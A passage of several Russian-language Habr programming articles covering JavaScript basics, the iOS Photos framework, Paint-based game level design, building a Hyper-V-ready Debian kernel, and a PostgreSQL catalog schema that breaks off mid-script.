doSomethingWithObject();
```
Функции можно вызывать с большим или меньшим количеством аргументов, чем то количество параметров, которое было задано при их объявлении. В ходе работы функции «лишние» аргументы будут просто проигнорированы (хотя у функции будет доступ к ним), отсутствующие параметры получат значение `undefined`.
У функций есть два псевдо-параметра: `this` и `arguments`.
### ▍Ключевое слово this
Ключевое слово `this` представляет собой контекст функции. Значение, на которое оно указывает, зависит от того, как была вызвана функция. Вот какие значения принимает ключевое слово `this` в зависимости от способа вызова функции (они, с примерами кода, конструкции из которых используются здесь, описаны выше):
* Обычный вызов функции — `window`/`undefined`.
* Вызов функции в виде метода объекта — `theObject`.
* Вызов функции в виде конструктора — новый объект.
* Вызов функции с использованием метода `apply()` — `theObject`.
* Вызов функции с использованием метода `bind()` — `theObject`.
### ▍Ключевое слово arguments
Ключевое слово `arguments` — это псевдопараметр, который даёт доступ ко всем аргументам, использованным при вызове функции. Он похож на массив, но массивом не является. В частности, у него нет методов массива.
```
function reduceToSum(total, value){
return total + value;
}
function sum(){
let args = Array.prototype.slice.call(arguments);
return args.reduce(reduceToSum, 0);
}
sum(1,2,3);
```
Альтернативой ключевому слову `arguments` является новый синтаксис оставшихся параметров. В следующем примере `args` — это массив, содержащий всё, что передано функции при вызове.
```
function sum(...args){
return args.reduce(reduceToSum, 0);
}
```
### ▍Оператор return
Функция, в которой отсутствует выражение `return`, возвратит `undefined`. Используя ключевое слово `return`, обращайте внимание на то, как работает механизм автоматической вставки точки с запятой. Например, следующая функция вернёт не пустой объект, а значение `undefined`:
```
function getObject(){
return
{
}
}
getObject()
```
Для того чтобы избежать подобной проблемы, открывающую фигурную скобку нужно расположить на той же строке, на которой находится оператор `return`:
```
function getObject(){
return {
}
}
```
Динамическая типизация
----------------------
JavaScript является языком с динамической типизацией. Это означает, что конкретные значения имеют типы, а переменные — нет. Во время выполнения программы в одну и ту же переменную можно записывать значения разных типов. Вот пример функции, которая работает со значениями разных типов:
```
function log(value){
console.log(value);
}
log(1);
log("text");
log({message : "text"});
```
Для выяснения типа данных, хранящихся в переменной, можно использовать оператор `typeof()`:
```
let n = 1;
typeof(n); //number
let s = "text";
typeof(s); //string
let fn = function() {};
typeof(fn); //function
```
Однопоточная модель выполнения
------------------------------
Среда выполнения JavaScript является однопоточной. Это, в частности, выражается в невозможности одновременного выполнения двух функций (если не учитывать возможности асинхронного выполнения кода, которые мы тут не затрагиваем). В среде выполнения имеется так называемая очередь событий (Event Queue), хранящая список заданий, которые нужно обработать. Как результат, для однопоточной схемы выполнения JS несвойственна проблема взаимных блокировок ресурсов, поэтому тут не нужен механизм блокировок. Однако, код, попадающий в очередь событий, должен выполняться быстро. Если перегрузить тяжёлой работой, в браузерном приложении, главный поток, страница приложения не будет реагировать на воздействия пользователя и браузер предложит закрыть эту страницу.
Обработка исключений
--------------------
В JavaScript имеется механизм для обработки исключений. Работает он по вполне обычному для подобных механизмов принципу: код, который может вызвать ошибку, оформляют с использованием конструкции `try/catch`. Сам код находится в блоке `try`, ошибки обрабатываются в блоке `catch`.
Интересно отметить, что иногда JavaScript, при возникновении внештатных ситуаций, не выдаёт сообщений об ошибках. Это связано с тем фактом, что JS не выбрасывал ошибки до принятия стандарта ECMAScript 3.
Например, в следующем фрагменте кода попытка изменения «замороженного» объекта завершится неудачно, но исключение выдано не будет.
```
let obj = Object.freeze({});
obj.message = "text";
```
Некоторые из «молчаливых» ошибок JS проявляются в строгом режиме, включить его можно, воспользовавшись конструкцией `"use strict";`.
Система прототипов
------------------
В основе таких механизмов JS, как функции-конструкторы, команда `Object.create()`, ключевое слово `class`, лежит система прототипов.
Рассмотрим следующий пример:
```
let service = {
doSomething : function() {}
}
let specializedService = Object.create(service);
console.log(specializedService.__proto__ === service); //true
```
Здесь, для создания объекта `specializedService`, прототипом которого нужно было сделать объект `service`, использована команда `Object.create()`. В результате оказывается, что метод `doSomething()` можно вызвать, обратившись к объекту `specializedService`. Кроме того, это означает, что свойство `__proto__` объекта `specializedService` указывает на объект `service`.
Создадим теперь похожий объект с использованием ключевого слова `class`:
```
class Service {
doSomething(){}
}
class SpecializedService extends Service {
}
let specializedService = new SpecializedService();
console.log(specializedService.__proto__ === SpecializedService.prototype);
```
Методы, объявленные в классе `Service`, будут добавлены в объект `Service.prototype`. Экземпляры класса `Service` будут иметь тот же прототип (`Service.prototype`). Все экземпляры будут делегировать вызовы методов к объекту `Service.prototype`. В результате оказывается, что методы объявляются лишь один раз, в `Service.prototype`, после чего «наследуются» всеми экземплярами класса.
### ▍Цепочка прототипов
Объекты могут быть «наследниками» других объектов. У каждого объекта есть прототип, методы которого ему доступны. Если попытаться обратиться к свойству, которого нет в самом объекте, JavaScript приступит к его поиску в цепочке прототипов. Этот процесс будет продолжаться до тех пор, пока свойство не будет найдено, или пока поиск не достигнет конца цепочки.
О функциональном программировании в JavaScript
----------------------------------------------
В JavaScript функции являются объектами первого класса, язык поддерживает механизм замыканий. Это открывает путь к реализации методик функционального программирования в JS. В частности, речь идёт о возможности применения функций высшего порядка.
Замыкание — это внутренняя функция, у которой есть доступ к переменным, объявленным внутри родительской функции, даже после выполнения родительской функции.
Функция высшего порядка — это функция, которая способна принимать другие функции в качестве аргументов, возвращать функции, или делать и то и другое.
Функциональное программирование в JS освещается во множестве публикаций. Если вам это интересно — вот несколько материалов на данную тему, посвящённых [функциям первого класса](https://medium.freecodecamp.org/discover-the-power-of-first-class-functions-fd0d7b599b69), [композиции](https://medium.freecodecamp.org/how-point-free-composition-will-make-you-a-better-functional-programmer-33dcb910303a), [декораторам](https://medium.freecodecamp.org/here-are-a-few-function-decorators-you-can-write-from-scratch-488549fe8f86), [замыканиям](https://medium.freecodecamp.org/why-you-should-give-the-closure-function-another-chance-31253e44cfa0) и [удобочитаемости кода](https://medium.freecodecamp.org/make-your-code-easier-to-read-with-functional-programming-94fb8cc69f9d), написанного в функциональном стиле.
Итоги
-----
Мощь JavaScript кроется в его простоте. Понимание базовых механизмов языка позволяет программисту, использующему JS, эффективнее применять эти механизмы и закладывает фундамент для его профессионального роста.
**Уважаемые читатели!** Как вы думаете, какие особенности JavaScript вызывают больше всего проблем у новичков?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/416375/ | null | ru | null |
# iOS: работа с галереей (Photos framework)
Привет, Хабр! В данной статье решил написать о том, как работать с галереей с помощью фреймворка Photos. В этой статье рассмотрим базовые возможности фреймворка: создание альбома, сохранение, удаление и загрузку фото. Если будут положительные отзывы, то в следующих частях напишу про работу с live фото, видео, наложение фильтров, кэш и прочие функции.
### Обзор классов
Для начала рассмотрим классы, с которыми предстоит работать. Во фреймворке Photos все классы унаследованы от базового класса *PHObject*, в котором есть всего лишь одно свойство — localIdentifier.
#### ▍PHAsset
PHAsset представляет собой данные об одном объекте из галереи — фото, видео, live фото и так далее. Важно понимать, что *PHAsset* это еще не фото, это только информация о нем.
#### ▍PHAssetCollection
Это набор объектов *PHAsset*. Таким набором может быть альбом, момент, smart album.
#### ▍PHPhotoLibrary
Это класс, который предоставляет доступ на запрос и изменение данных из галереи. Каждый раз, когда мы хотим что-то поменять в галерее, нам надо вызывать метод *performChanges(changes: () → Void, completionHandler: (Bool, Error?) → Void)*.
#### ▍PHAssetCreationRequest
Класс, позволяющий сделать запрос на создание нового объекта(*PHAsset*) в галерее.
#### ▍PHAssetChangeRequest
Класс, позволяющий сделать запрос на изменение объекта в галерее.
#### ▍PHAssetCollectionChangeRequest
Класс, позволяющий сделать запрос на изменение коллекции объектов в галерее.
#### ▍PHImageManager
Позволяет получить фото или видео ассоциируемое с конкретным *PHAsset*.
#### ▍PHFetchResult
Представляет обертку над списком *PHAsset*, полученных в результате запроса.
### Создание альбома
Для начала нужно проверить — есть ли альбом с тем имением, с которым мы хотим его создать:
```
let options = PHFetchOptions()
options.predicate = NSPredicate(format: "title = %@", albumTitle)
let collection = PHAssetCollection.fetchAssetCollections(with: .album,
subtype: .any,
options: options)
if let album = collection.firstObject {
// Альбом уже есть, можем его использовать
}
```
Если альбома нет, то для его создания нам потребуется создать запрос с помощью метода *PHAssetCollectionChangeRequest.creationRequestForAssetCollection(withTitle: String)*:
```
var placeholder: PHObjectPlaceholder?
PHPhotoLibrary.shared().performChanges({
let request = PHAssetCollectionChangeRequest.creationRequestForAssetCollection(withTitle: albumTitle)
placeholder = request.placeholderForCreatedAssetCollection
}, completionHandler: { (success, error) -> Void in
if success {
if let id = placeholder?.localIdentifier {
let fetchResult = PHAssetCollection.fetchAssetCollections(withLocalIdentifiers: [id],
options: nil)
if let album = fetchResult.firstObject {
// Можем использовать альбом
}
}
}
})
```
*PHObjectPlaceholder* — это наследник *PHObject*, который по сути является прокси реального объекта, который был создан(в нашем случае это альбом). Нужен он для того, чтобы получить ID созданного объекта.
### Получение списка PHAsset
Итак, мы получили альбом(а точнее *PHAssetCollection*), который хранит объекты *PHAsset*. Мы можем получить все *PHAsset* следующим образом:
```
let options = PHFetchOptions()
options.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: ascending)]
let assets: PHFetchResult = PHAsset.fetchAssets(in: album, options: options)
```
Переменная assets будет хранить список *PHAsset* отсортированный по возрастанию даты создания фото. Конкретный *PHAsset* мы можем получить, например, так:
```
if assets.count > 0 {
let firstAsset = assets[0]
}
```
### Получение UIImage
Чтобы загрузить изображение для конкретного *PHAsset* нам понадобится класс *PHImageManager*:
```
PHImageManager.default().requestImage(for: asset,
targetSize: size,
contentMode: .aspectFill,
options: options) { (image, _) -> Void in
// Можем использовать изображение
}
```
### Сохранение изображения
Для того, чтобы сохранить изображение, надо создать запрос методом *PHAssetChangeRequest.creationRequestForAsset(from image: UIImage)*:
```
PHPhotoLibrary.shared().performChanges({
let assetRequest = PHAssetChangeRequest.creationRequestForAsset(from: image)
let albumChangeRequest = PHAssetCollectionChangeRequest(for: album, assets: assets)
if let assetPlaceholder = assetRequest.placeholderForCreatedAsset {
let assetPlaceholders: NSArray = [assetPlaceholder]
albumChangeRequest?.addAssets(assetPlaceholders)
}
}, completionHandler: nil)
```
### Удаление PHAsset
Вот мы и добрались до самого сложного. Для удаления *PHAsset* нам понадобится метод *PHAssetChangeRequest.deleteAssets(\_ assets: NSFastEnumeration)*:
```
PHPhotoLibrary.shared().performChanges({
PHAssetChangeRequest.deleteAssets(assets as NSFastEnumeration)
}, completionHandler: nil)
```
### Заключение
Я описал базовые возможности фреймворка. В дальнейшем напишу статьи по другим его возможностям. Все что непонятно — спрашивайте в комментариях. Любая критика приветствуется.
### Полезные ссылки
» [Photos framework reference | Apple](https://developer.apple.com/reference/photos)
» [The Photos Framework | objc.io](https://www.objc.io/issues/21-camera-and-photos/the-photos-framework/) | https://habr.com/ru/post/318810/ | null | ru | null |
# Использование Paint в качестве редактора уровней
Всю сознательную программистскую деятельность я увлекался созданием игр и не любил делать редакторы и прочие утилиты. Главным моим редактором почти всегда был Paint. Но для игр, в которых уровень статичен и состоит из тайлов (Марио подобные и прочие танчики), это более-менее оправдано, т.к. одному пикселю из файла уровня, созданного в Paint, соответствует тайл в игре. А что если требуется создать игру, где нет тайлов, а игровая локация состоит из неровных скалистых пещер. Или игру, в которой много движущихся элементов (летающие платформы, лифты, циркулярные пилы, вращающиеся по окружности).
Создавать редактор для таких целей мне по-прежнему не хотелось. О том, как я это решил с помощью Paint опишу в этой статье.
*Я не буду приводить названия игр и давать ссылки на них, потому что это не демонстрация и не реклама игр, а описание метода, который в них применяется.*
##### Неровная карта
Первая игра не блещет разнообразием геймплея: играем за некий подводный кораблик, двигающийся с помощью реактивного двигателя, и уворачиваемся от скал и прочих врагов:
*Извиняюсь за качество видео, снимали на телефон*
По видео видно, что локация состоит из земли (которой касаться нельзя), бекграунда, воды, крутящихся ежиков (враги) и эмиттеров, выпускающих эти ежики. Да, еще там есть рыбки и водоросли, но они генерируются случайным образом и не имеют отношения к файлу уровня.
Уровень из видео показан слева (увеличено в 4 раза):
В левом верхнем углу можно заметить зеленый пиксель, так отмечается стартовая позиция, следует запомнить это место, т.к. все последующие иллюстрации будут демонстрировать именно его.
Файл уровня состоит из 3-х слоев:
* Слой объектов, с которыми игрок взаимодействует: земля, эмиттеры и ежики, а также стартовая позиция и выход. Ориентация эмиттеров (могут стрелять в одном из четырех направлений) не задается, она вычисляется при загрузке, исходя из соседних «земельных» пикселей
* Слой воды (это аркада, поэтому закон сообщающихся сосудов здесь не действует)
* Слой с бекграундом
Вода пересекается с землей, бекграунд пересекается с землей и водой, поэтому они разделены на 3 слоя. Размер персонажа вдвое меньше размера пикселя в файле карты.
Если это сейчас просто так взять и отрендерить (потайлово), то локация будет состоять из гигантских квадратов. Да и количество таких тайлов достаточно велико (61х69 для этой карты). Поэтому был применён другой способ рендеринга (нетайловый), при котором можно отобразить карту за один вызов (на самом деле за три: отдельно воду, бекграунд и финальная склейка). Это благодаря тому, что весь уровень помещается в одну единственную текстуру, назовём её tex\_level. И натягивается она на полноэкранный квад (полигон, размером с экран). Перед этим выставляются текстурные координаты в зависимости от виртуальной камеры, которая привязана к персонажу.
*Слева – примерно так выглядит текстура tex\_level и охват виртуальной камеры. Справа – назначенные текстурные координаты для полноэкранного квада, т. о. на экран попадает кусочек текстуры tex\_level.*
Вначале текстуру tex\_level надо подготовить. Для этого заведём массив под пиксели этой текстуры:
```
unsigned int pix[w*h];
```
где w – ширина файла с уровнем, h – высота, деленная на 3 (т.к. три слоя).
Теперь в цикле считываем каждый пиксель исходной карты из каждого слоя и в зависимости от цвета (он же и тип тайла) заполняем соответствующие цветовые каналы в пикселе pix, а именно:
```
for(int i=0;i
```
***Техническая особенность:** на самом деле w и h равны ближайшей в сторону увеличения степени двойки для ширины и высоты карты, недостающие пиксели замащиваются красным цветом (земля), а этот цикл можно считать псевдокодом.*
Видно, что один и тот же пиксель в массиве может содержать землю, воду и бекграунд. На основе массива pix создается текстура tex\_level, сам массив pix нам ещё пригодится.
*Слева готовая текстура tex\_level, а справа она же, но в игре. Камера в стартовой позиции.*
Чтобы было удобнее продвигаться дальше, будем выводить только R канал из tex\_level, т.е. только землю.
Для начала нужно избавиться от этих гигантских квадратов. Для этого массив pix перед тем, как его передать в текстуру tex\_level следует размыть по Гауссу (радиус размытия подбирался опытным путем). Теперь всё та же локация выглядит уже куда лучше:
*Слева земля до размытия, справа после.
**Техническая деталь:** перед размытием надо растянуть в 2 раза массив pix так, чтобы исходный пиксель занимал бы уже 2х2 пикселя в растянутом массиве.*
Но граница земли здесь очень размыта. Для понимания процесса превращения размытой границы в четкую (назовём этот процесс фильтр четкой границы) рассмотрим одномерный случай, т.к. он аналогичный. Тогда размытая граница земли будет выглядеть примерно так:
Вычтем из этого графика 0.5, домножим на какое-нибудь большое число (в данном проекте это 50) и обрежем (операция clamp) по границе [0; 1], т.е. всё, что меньше 0 превращается в 0, а всё, что больше 1 превращается в 1:
В итоге белый цвет не мгновенно переходит в черный (это важно).
Теперь проделаем все эти операции с нашей текстурой tex\_level. Пусть в level\_color хранится выборка из этой текстуры, тогда фильтр выглядит так: `clamp((level_color.r – 0.5) * 50.0, 0.0, 1.0)`
Гораздо лучше, а если внимательно присмотреться, то можно увидеть, что на границе раздела двух сред отсутствует алиасинг. Но такая граница слишком гладкая и плавная, давайте же добавим к ней немного шума. Для этого была сгенерирована текстура с [шумом Перлина](http://ru.wikipedia.org/wiki/%D0%A8%D1%83%D0%BC_%D0%9F%D0%B5%D1%80%D0%BB%D0%B8%D0%BD%D0%B0) (параметры шума подбирались опытным путем), назовём её noise. Текстурные координаты для выборки из текстуры шума больше во много раз, чем текстурные координаты для tex\_level. Это означает, что пока мы в игре видим лишь кусочек текстуры tex\_level, шумовая текстура повторяется несколько раз в пределах экрана. Теперь просто сложим выборки из текстуры шума и из tex\_level и только потом применим фильтр четкой границы:
*В левой части tex\_level + noise, в правой части фильтр четкой границы.*
***Техническая деталь:** диапазон значений в текстуре noise от 0 до 1, поэтому к выборке из tex\_level следует прибавлять (noise — 0.5) \* k, где k – коэффициент возмущения границы (в проекте он равен 0.3).*
Теперь осталось просто наложить текстуры. Текстура земли уже есть (это просто обычная текстура), а вот воды еще нет, нужно её сперва подготовить.
Алгоритм абсолютно такой же, как и с землей, только вместо выборки из R канала следует делать выборку из B канала, т.к. именно там и содержится вода. Еще одно отличие – это вместо обычного шума применяется анимированный шум (плавно меняющийся во времени) для создания волн на границе воды и воздуха. Создание анимированного шума выходит за рамки данной статьи. В этом этапе применяем текстуру неба, а роль воды выполняет синий цвет (подбирался опытным путем). Все шаги этапа получения слоя с водой проиллюстрированы ниже:
*Слева направо: размытая граница воды, анимированный шум плюс фильтр, интерполяция из синего цвета в текстуру неба.*
Следующий этап – это рендеринг бекгруанда. На этот раз выборку из tex\_level производим из G канала. В этом этапе ничего принципиально нового нет: получаем маску бекграунда и интерполируем текстуру камней (это в данном случае) и текстуру воды из предыдущего этапа. Конечно, есть свои тонкости: на подводную часть бекграунда накладываются дополнительные фильтры, то же самое и для самой воды для придания эффекта толщи воды, но это выходит за рамки статьи. В этом же этапе рендерятся декоративные элементы: рыбки и водоросли. Окончательно слой с бекграундом выглядит так:
***Технические подробности:** для придания эффекта «шевелящихся водорослей» из-за подводных течений использовалось смещение x-компоненты текстурных координат при рендеринге спрайта с водорослями. Величина этого смещения считывалась всё из той же текстуры с анимированным шумом.*
И последний этап – склейка. Получив в начале статьи маску земли, применяем её для интерполяции текстуры земли и слоя с бекграундом. Финальный результат выглядит так:
**Скрытый текст**
***Развитие идеи.** Что если требуется накладывать несколько текстур на землю, тогда просто добавляем ещё один слой, в котором пиксели земли раскрашиваем в 4 разных цвета (можно меньше, но не больше). Из этого слоя создается отдельная текстура-маска (4 цвета в слое – 4 цветовых канала в маске), но тогда придется делать дополнительные пять текстурных выборок вместо одной (одна из маски и 4 из соответствующих текстур земли).*
##### Определение коллизий
Если в тайловых играх коллизии определяются достаточно просто: делаем выборку из массива тайлов и проверяем, попал/не попал в непроходимый тайл. То здесь это будет слишком грубо, т.к. теперь визуально нет тайлов, а есть поверхности под разными углами. Кстати, маска земли в сишном коде недоступна (она является всего лишь одним из этапов вычисления на видеокарте). Но у нас есть массив pix, размытый по Гауссу. В элементах этого массива интересен только младший байт, т.к. именно там хранится земля. Визуально этот массив выглядит так (приведён лишь фрагмент массива, попадающий в камеру, на самом деле в массиве содержится вся карта):
Это отличается от картинки с размытой границей, потому что там применялась [билинейная фильтрация](http://ru.wikipedia.org/wiki/%D0%91%D0%B8%D0%BB%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D0%B0%D1%8F_%D1%84%D0%B8%D0%BB%D1%8C%D1%82%D1%80%D0%B0%D1%86%D0%B8%D1%8F), а тут лишь сырые значения массива после размытия.
Значения из этого массива напоминают карту высот, можно подобрать такое значение высоты, которое примерно совпадает с визуальной границей земли (подбираем опытным путем). Для более точного определения высоты необходимо использовать [билинейную интерполяцию](http://ru.wikipedia.org/wiki/%D0%91%D0%B8%D0%BB%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BF%D0%BE%D0%BB%D1%8F%D1%86%D0%B8%D1%8F). А если вычислить три высоты в окрестностях некой точки, то можно довольно точно определить градиент в этой точке, а он совпадает с нормалью к визуальной поверхности земли. Нормаль в этой игре использовалась лишь в одном месте – для огибания реактивной струёй поверхности земли:
##### Динамичная карта
Итак, первая проблема, поставленная в начале статьи, решена: никаких тайлов не видно, одни неровные скалистые пейзажи. А как быть с движущимися элементами? Это покажет вторая игра – аналог [super meat boy](http://ru.wikipedia.org/wiki/Super_Meat_Boy):
Здесь много подвижных элементов: циркулярные пилы, двигающиеся по прямой или вращающиеся вокруг центра, перемещающаяся платформа с шипом и пилой, двери, рассыпающиеся тайлы. А пилы ещё имеют разный размер.
Процесс рендеринга полностью аналогичен первой игре, поэтому ограничимся рассмотрением формата карты. Карта из видео выглядит так (увеличено в 5 раз):
Данная карта состоит из шести (!) слоёв (всего в игре есть пять разных типов слоёв, все они здесь представлены). В отличие от предыдущей игры количество слоёв здесь может быть любым. В левом верхнем углу есть набор пикселей (их ровно столько, сколько и слоёв). Они-то как раз и задают тип слоя (это позволяет не заботиться о порядке и количестве слоёв). Первые два слоя очевидны: слой объектов – взаимодействующие элементы с игроком (земля, шипы, пилы, старт, выход, рассыпающиеся тайлы) и слой бекграунда. Четвёртый слой тоже, как и первый, является слоем объектов (4-й пиксель в левом верхнем углу тоже черный). Пришлось вынести некоторые объекты в этот слой, потому что они пересекались с другими объектами (теоретически одинаковых слоёв может быть сколько угодно).
***Техническая особенность:** в текстуру tex\_level помещается только замля и бекграунд (воды в этой игре нет), а все остальные объекты считываются из файла уровня в массив.*
Рассмотрим третий слой. Здесь находятся красная и синяя дверь с соответствующими ключами. Так-то двери – это тоже объекты, но помещать их в слой объектов нельзя, потому что красный и синий цвет в этом слое уже заняты соответственно под шипы и под центры вращений (о которых ниже). А вообще, в этом слое отмечаются группы тайлов. Тайлы из одной группы имеют один цвет, и они все смежны друг с другом. Бывают два вида групп:
* Перемещающаяся группа. Все тайлы этой группы синхронно перемещаются (зеленый цвет). Группа содержит один главный тайл (сине-зеленый цвет), для которого в другом слое назначается траектория и скорость. В этой карте одна большая группа, в которую входит земля (становится что-то вроде тележки) с шипом и пилой. И четыре одинарных – только одна пила перемещается в каждой из них.
* Вращающаяся группа (серый цвет)
В слое объектов (в данном случае в 4-м) синим цветом отмечаются центры вращения для вращающихся групп (здесь только один центр действительно попал во вращающуюся группу из третьего слоя, остальные же играют роль декоративного элемента, т.к. они тоже рендерятся). Ещё во вращающуюся группу попали две пилы (желтый цвет в 4-м слое). Именно они и вращаются вокруг центра вращения.
В пятом слое указываются размеры пил в градациях красного. Если для пилы отсутствует красный пиксель из этого слоя, то размер её берется по умолчанию. А в шестом слое находятся траектории и скорости для перемещающихся групп в градациях серого, ну и скорости и направления для вращающихся пил. В некоторых слоях есть посторонние цвета, которые в данном слое не участвуют, при загрузке карты они просто игнорируются (например, почти во всех слоях есть черные пиксели земли, они были нужны лишь при составлении карты, для навигации относительно них).
***Развитие идеи.** Теоретически с помощью Paint можно создать карту для 3D-шутера, файл карты будет состоять из матрицы слоёв. Строка этой матрицы соответствует высоте слоя в игре, а в столбцах содержатся слои одного типа. Например, в 1-м столбце будет геометрия карты (один слой – это срез карты на данной высоте), во 2-м столбце можно назначать текстуры с помощью ключевых цветов пеинта, в 3-м расставлять объекты и т.д.*
Вот, пожалуй, и всё. Надеюсь, тема «редактор карт из Paint» раскрыта. | https://habr.com/ru/post/195338/ | null | ru | null |
# Установка и настройка Debian Linux под Hyper-V
Давайте продолжим наши упражнения в виртуализации Linux систем под Hyper-V. Сегодня мы займемся установкой и настройкой Debian 6 под Hyper-V. Все что я буду писать ниже можно применять не только к Debian 6, но и к Debian 5 и к остальным дистрибутивам основанным на Debian таким как Ubuntu, Kubuntu, Xubuntu, Ebuntu.
Debian не входит в список официально поддерживаемых Microsoft систем Linux для запуска под Hyper-V. Не смотря на это он работает в виртуальном окружении очень даже хорошо. В связи с тем, что официального пакета компонентов интеграции Hyper-V для Debian нет, мы воспользуемся драйверами Hyper-V встроенными в новейшие ядра Linux.
Установка Debian 6 под Hyper-V довольно банальна. Единственное что нужно сделать на этапе создания виртуальной машины это добавить в систему эмулируемый сетевой интерфейс Legacy. Он нам понадобится для первоначального обновления системы и установки новейшего ядра Linux.
После завершения установки Debian 6 у нас будет ядро 2.6.32 конечно оно не блещет новизной, но в тоже время вполне нормально с многопроцессорными виртуальными машинами.
[](http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-59-42-metablogapi/8156.Debian6_5F00_4_5F00_4E6B5D7C.png)
Для того чтобы виртуальная машина смогла работать быстрее и воспользоваться всеми преимуществами Hyper-V нужно обновить ядро как минимум до 2.6.36. Перед сборкой нового ядра обновляем систему, устанавливаем исходные тексты текущего ядра и все необходимые инструменты для компиляции нового.
`# apt-get update
# apt-get install build-essential ncurses-dev kernel-package fakeroot install linux-headers-2.6 linux-source-2.6.32`
Теперь приступим к сборке нового ядра 2.6.36 взятого с kernel.org
`# cd /usr/src
# wget -c www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.36.tar.bz2
# bzip2 -d linux-2.6.36.tar.bz2
# tar xf linux-2.6.36.tar
# cd linux-2.6.36
# cp /boot/config* ./.config
# make menuconfig`
В меню выбираем Device Drivers -> Stagging Drivers –> Microsoft Hyper-V Client Drivers
На этом этапе так же можно удалить лишние драйвера для устройств, которых никогда не будет в виртуальной машине, таких как wi-fi, звуковые карты, USB, PCI. Впрочем, это не обязательно, если не желаете, можете не делать.
После этого можем начать сборку deb пакетов ядра. Для того чтобы лучше отличать ядра добавляем в название символы hyper-v.
`# make-kpkg clean
# fakeroot make-kpkg --initrd --append-to-version=-hyper-v kernel_image kernel_headers`
Компиляция ядра занимает довольно продолжительное время. После этого в /usr/src появятся два deb пакета которые можно установить в систему командой dpkg –i.
Так же эти пакеты можно будет перенести и установить в другие виртуальные машины с Debian дабы не повторять процесс компиляции.
Редактируем /etc/initramfs-tools/modules и добавляем следующие строки указывающие загружать нужные модули при старте системы:
`hv_vmbus
hv_storvsc
hv_blkvsc
hv_netvsc`
Обновляем initramfs:
`# update-initramfs –u –k 2.6.36-hyper-v`
Выключаем виртуальную машину, удаляем сетевой адаптер Legacy, добавляем синтетический сетевой адаптер и загружаем машину с новым ядром.
После этого проверяем с помощью lsmod | grep hv что все нужные для работы Hyper-V модули загрузились.
[](http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-59-42-metablogapi/0083.Debian6_5F00_big_5F00_scsi_5F00_hdd_5F00_5FBB72BA.png)
Обратите внимание, в новых версиях ядер Linux сетевой синтетический интерфейс Hyper-V переименован из seth в eth. Это может вводить в заблуждение.
[](http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-59-42-metablogapi/1172.Debian_5F00_synthetic_5F00_network_5F00_615C18C1.png)
Как обычно я протестировал устойчивость виртуальной машины прокачав через нее в течении нескольких дней с помощью scp почти сотню гигабайт трафика. Виртуальные жесткие диски работают также достаточно быстро.
[](http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-59-42-metablogapi/2570.Debian6_5F00_12_5F00_4D9F0960.png)
Виртуальная машина работает стабильно в 4-х процессорной конфигурации с 44 гигабайтами ОЗУ. В общем можно сделать вывод, что Debian и основанные на нем дистрибутивы способны отлично работать под Hyper-V и применяться для реализации инфраструктурных элементов работающих с большой нагрузкой. | https://habr.com/ru/post/115630/ | null | ru | null |
# Очередной универсальный интернет каталог средствами реляционной СУБД
Одним из главных требований к каталогу является возможность быстро искать и находить его элементы по различным критериям.
Существует множество подходов к реализации таких требований. Это и nosql решения и механизмы работы с json в реляционных СУБД. До nosql эпохи, решать такие задачи приходилось средствами реляционных БД.
Основная причина по которой реляционные СУБД плохо подходят для решения таких задач это разнообразие характеристик товаров. Набор характеристик к примеру для одежды и смартфонов будет совершенно разный. В самом деле не создавать же для каждой категории товаров отдельную таблицу с со своим набором реквизитов.
По этой причине в большинстве случаев в реляционных БД используется EAV (Entity Attribute Value) модель данных в тех или иных вариациях.
Недостатков у такой модели множество. Чаще всего EAV модель критикуют чрезмерную сложность, так же за то, что по сути схема данных храниться в самих данных.
Есть мнение, что EAV вообще является анти паттерном, что тоже не лишено оснований, однако надо заметить, что есть и другое мнение, что лучше такая схема, чем вообще отсутствие таковой.
Рискуя навлечь на себя гнев сообщества хочу представить свой вариант реализации каталога. Это не совсем EAV, скорее его по мотивам.
Я использовал его в различных проектах много лет, его достоинства чрезвычайная простота, действительная универсальность и хорошая скорость выборки, что на первый взгляд не кажется очевидным.
Всё описанное далее предполагает использование СУБД Postgresql.
Довольно преамбул, вот упрощённая ER-диаграмма.
Из диаграммы видно, что товар в таблице products ссылается на категорию из таблицы product\_categories.
Таблица product\_categories может иметь иерархическую структуру.
На таблицу products ссылаются три таблицы:
1. Цены товаров (product\_prices)
2. Фото товаров (products\_images)
3. Значения свойств характеристик товаров (property\_values).
Все значения характеристик всех товаров хранятся целочисленном поле таблицы property\_values.
Целочисленное поле в данном случае позволяет хранить разумеется численные, а кроме того булевы и ссылочные значения характеристик.
Текстовое представление ссылочных значений хранятся в таблице property\_values\_references.
Эта таблица не принимает участие в основных выбирающих запросах и нужна только для формирования в клиентском приложении выпадающих списков возможных вариантов отбора.
Она ссылается на таблицу свойств категорий (product\_category\_properties) полем property\_id.
Таблица свойств категорий (product\_category\_properties) полем parent\_id ссылается на саму себя, что позволяет реализовать в клиентском приложении каскадные фильтры неограниченной вложенности.
Скрипт создания таблиц и индексов каталога
```
BEGIN;
CREATE TABLE IF NOT EXISTS product_categories
(
id serial NOT NULL,
parent_id integer REFERENCES product_categories (id),
title character varying(64),
PRIMARY KEY (id)
);
CREATE TABLE IF NOT EXISTS products
(
id serial NOT NULL,
category_id integer NOT NULL REFERENCES product_categories (id),
title character varying(128) NOT NULL,
description text NOT NULL,
PRIMARY KEY (id)
);
CREATE INDEX IF NOT EXISTS id_and_category_id
ON products USING btree
(id ASC NULLS LAST, category_id ASC NULLS LAST);
DO $$ /* вот так, поскольку CREATE TYPE не поддерживает IF NOT EXISTS параметр */
BEGIN
IF NOT EXISTS (SELECT 1 FROM pg_type WHERE typname = 'property_value_type') THEN
CREATE TYPE property_value_type AS enum ('boolean', 'integer', 'reference');
END IF;
END
$$;
CREATE TABLE IF NOT EXISTS product_category_properties
(
id serial NOT NULL,
parent_id integer REFERENCES product_category_properties (id),
category_id integer NOT NULL REFERENCES product_categories (id),
